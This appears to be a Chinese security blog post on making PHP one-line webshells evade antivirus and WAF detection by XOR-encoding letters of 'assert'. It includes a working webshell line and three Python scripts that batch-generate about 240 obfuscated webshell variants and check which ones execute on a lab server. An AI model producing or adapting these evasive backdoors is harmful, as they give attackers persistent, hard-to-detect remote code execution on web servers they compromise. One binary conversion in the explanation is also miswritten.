1、前言
之前在P神网站上看到采用异或的思路达到免杀的效果,
感觉挺有意思,无聊在周末写一个脚本批量生成
2、原理
其实,原理也挺简单的,即使用 ('6'^'w') 代替字母“ a ”。
具体完整的一句话为:
<?php $a=('6'^'w').'ssert';$a($_POST[8]);?>
问题一: 为什么 ('6'^'w') == a ?
6对应的ascii码是54;w对应的ascii码是119
54对应的二进制为:100110
119对应的二进制为:1110111
100110与1110111异或运算得到1000001(换算为10进制为65)
而“ A ”对应的ASCII码就是65
问题二: 上边65对应的是A,组合函数是 Assert 而不是 assert 为什么还可以执行 ?
这就要谈到PHP的一个特性,即对 “ 变量 ” 的大小写敏感而对 “ 函数 ”的大小写不敏感。
具体可以参考:
https://www.techug.com/post/php-case-insensitive-problem.html
所以以上, Assert() == assert()
3、初步实现代码
import requests
import os
#定义可用木马的数量
Tnub = 0
for i in range(1,127):
for ii in range(1,127):
#定义一句马文件的名称
Tfilename = str(i) + "xbb" + str(ii) + '.php'
#定义生成一句马的路径文件
dirPath = '/Users/xc/Downloads/phpStudy20161103/'
#生成payload,
code = "<?php $a=" + "('" + chr(i) + "'" + '^' + "'" + chr(ii) + "')" + ".'ssert';$a($_POST[8]);?>"
#print(code)
#写入文件
with open('/Users/xc/Downloads/phpStudy20161103/' + str(i) + "xbb" + str(ii) + '.php', 'w') as f:
f.write(code)
f.close()
#测试可以访问的一句吗
url = 'http://10.211.55.3/php/' + Tfilename
data = {
'8': 'phpinfo();'
}
resilt = requests.post(url, data=data).content.decode('utf-8')
#这个XXX从正常的一句吗返回包找特征
if 'mysql.default_password' in resilt:
print(Tfilename)
Tnub+=1
#删除无用的木马
else:
try:
#print(dirPath + Tfilename)
os.remove(dirPath + Tfilename)
except:
pass
print("\n测试完毕,共计生成" + str(Tnub) + "个可用一句马\n")
print("一句马保存路径:" + dirPath)
4、补充说明
在上边通过异或生成的代码或许对一些waf已经不面纱了,
本篇文章最主要的是思路,通过此思路可以做出很多的拓展。
实际测试之中,
~不仅可以异或第一个字母,第几个都可以,或者全部使用异或字符表示。
~使用变形一句马,而非最传统的一句马
5、多线程代码
初始,增加运行时间显示
import requests
import os
import time
start = time.time()
# 定义可用木马的数量
Tnub = 0
for i in range(1, 127):
for ii in range(1, 127):
# 定义一句马文件的名称
Tfilename = str(i) + "xbb" + str(ii) + '.php'
# 定义生成一句马的路径文件
dirPath = '/Users/xc/Downloads/phpStudy20161103/'
# 生成payload,
code = "<?php $a=" + "('" + chr(i) + "'" + '^' + "'" + chr(ii) + "')" + ".'ssert';$a($_POST[8]);?>"
# print(code)
# 写入文件
with open('/Users/xc/Downloads/phpStudy20161103/' + str(i) + "xbb" + str(ii) + '.php', 'w') as f:
f.write(code)
f.close()
# 测试可以访问的一句吗
url = 'http://10.211.55.3/php/' + Tfilename
data = {
'8': 'phpinfo();'
}
resilt = requests.post(url, data=data).content.decode('utf-8')
# 这个XXX从正常的一句吗返回包找特征
if 'mysql.default_password' in resilt:
#print(Tfilename)
Tnub += 1
# 删除无用的木马
else:
try:
# print(dirPath + Tfilename)
os.remove(dirPath + Tfilename)
except:
pass
end = time.time()
print("\n过程时间为:" + str(end - start))
print("\n测试完毕,共计生成" + str(Tnub) + "个可用一句马\n")
print("一句马保存路径:" + dirPath)
正常是生成240个可用一句马,修改了一个文件致使显示生成241个
过度版本
import requests
import sys
import queue
import time
import threading
import os
#定义生成一句马的路径文件
Tnub = 0
dirPath = '/Users/xc/Downloads/phpStudy20161103/'
def req():
global Tnub #声明Tnub是全局变量
global dirPath #声明dirPath是全局变量
while not q.empty():
Tfilename = q.get()
#测试可以访问的一句吗
url = 'http://10.211.55.3/php/' + Tfilename
data = {
'8': 'phpinfo();'
}
resilt = requests.post(url, data=data).content.decode('utf-8')
# 这个XXX从正常的一句吗返回包找特征
if 'mysql.default_password' in resilt:
#print(Tfilename)
Tnub += 1
#删除无用的木马
else:
try:
#print(dirPath + Tfilename)
os.remove(dirPath + Tfilename)
except:
pass
if __name__ == '__main__':
#threading_num = sys.argv[1]
start = time.time()
q = queue.Queue()
# 批量生成一句马
for i in range(1, 127):
for ii in range(1, 127):
# 定义一句马文件的名称
Tfilename = str(i) + "xbb" + str(ii) + '.php'
# 生成payload,
code = "<?php $a=" + "('" + chr(i) + "'" + '^' + "'" + chr(ii) + "')" + ".'ssert';$a($_POST[8]);?>"
# print(code)
# 写入文件
with open('/Users/xc/Downloads/phpStudy20161103/' + str(i) + "xbb" + str(ii) + '.php', 'w') as f:
f.write(code)
f.close()
#Tfilename = ''
q.put(Tfilename)
for x in range(10):
#for x in range(int(threading_num)):
t = threading.Thread(target=req)
t.start()
t.join() #等待子线程跑完,在向下运行代码
end = time.time()
print("\n过程时间为:" + str(end-start))
print("\n测试完毕,共计生成" + str(Tnub) + "个可用一句马\n")
print("一句马保存路径:" + dirPath)
因为请求过快,虚拟机反应不过来,导致请求失败报错
正常也是生成240个可用的一句马
最终版本,需要输入具体的线程数,如图:
import requests
import sys
import queue
import time
import threading
import os
#定义生成一句马的路径文件
Tnub = 0
dirPath = '/Users/xc/Downloads/phpStudy20161103/'
def req():
global Tnub #声明Tnub是全局变量
global dirPath #声明dirPath是全局变量
while not q.empty():
Tfilename = q.get()
#测试可以访问的一句吗
url = 'http://10.211.55.3/php/' + Tfilename
data = {
'8': 'phpinfo();'
}
resilt = requests.post(url, data=data).content.decode('utf-8')
try:
# 这个XXX从正常的一句吗返回包找特征
if 'mysql.default_password' in resilt:
#print(Tfilename)
Tnub += 1
#删除无用的木马
else:
try:
#print(dirPath + Tfilename)
os.remove(dirPath + Tfilename)
except:
pass
except:
print(url + " :因为访问频次过高,导致该请求未成功。 ")
if __name__ == '__main__':
threading_num = sys.argv[1]
start = time.time()
q = queue.Queue()
# 批量生成一句马
for i in range(1, 127):
for ii in range(1, 127):
# 定义一句马文件的名称
Tfilename = str(i) + "xbb" + str(ii) + '.php'
# 生成payload,
code = "<?php $a=" + "('" + chr(i) + "'" + '^' + "'" + chr(ii) + "')" + ".'ssert';$a($_POST[8]);?>"
# print(code)
# 写入文件
with open('/Users/xc/Downloads/phpStudy20161103/' + str(i) + "xbb" + str(ii) + '.php', 'w') as f:
f.write(code)
f.close()
#Tfilename = ''
q.put(Tfilename)
#for x in range(10):
for x in range(int(threading_num)):
t = threading.Thread(target=req)
t.start()
t.join() #等待子线程跑完,在向下运行代码
end = time.time()
print("\n过程时间为:" + str(end-start))
print("\n测试完毕,共计生成" + str(Tnub) + "个可用一句马\n")
print("一句马保存路径:" + dirPath)